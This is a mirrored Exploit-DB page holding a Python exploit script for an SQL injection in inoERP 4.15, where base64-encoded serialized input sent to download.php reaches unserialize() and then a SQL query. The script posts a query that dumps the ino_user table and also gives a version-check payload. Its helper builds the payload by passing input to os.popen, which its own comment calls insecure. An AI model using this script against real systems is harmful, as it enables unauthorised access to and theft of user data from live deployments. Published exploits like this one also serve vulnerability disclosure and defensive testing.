inoERP 4.15 – ‘download’ SQL Injection - 体验盒子

作者： Semen Alexandrovich Lyhin

日期： 2019-09-26

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/47426/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

# Exploit Title: inoERP 4.15 - 'download' SQL Injection

# Date: 2019-09-13

# Exploit Author: Semen Alexandrovich Lyhin

# Vendor Homepage: http://inoideas.org/

# Version: 4.15

# CVE: N/A

# A malicious query can be sent in base64 encoding to unserialize() function.

# It can be deserialized without any sanitization then.

# After it, it gets passed directly to the SQL query.

#!/bin/python

import os

import base64

import requests

import sys

def generatePayload(query):

#THIS FUNCTION IS INSECURE BY DESIGN

b64_query = base64.b64encode(query);

return os.popen("php -r \"echo base64_encode(serialize(base64_decode('" + b64_query + "')));\"").read()

def ExecSQL(query):

data = {"data":query,

"data_type":"sql_query"}

r = requests.post("http://" + ip + "/download.php", data=data)

return r.content

if __name__ == "__main__":

if len(sys.argv) != 3:

print '(+) usage: %s <target> ' % sys.argv[0]

print '(+) eg: %s 127.0.0.1 "ierp/" ' % sys.argv[0]

exit()

ip = sys.argv[1] + "/" + sys.argv[2]

#if don't have php, set Payload to the next one to check this SQLi via "select @@version;" payload: czoxNzoic2VsZWN0IEBAdmVyc2lvbjsiOw==

data = r"select * from ino_user;"

print ExecSQL(generatePayload(data));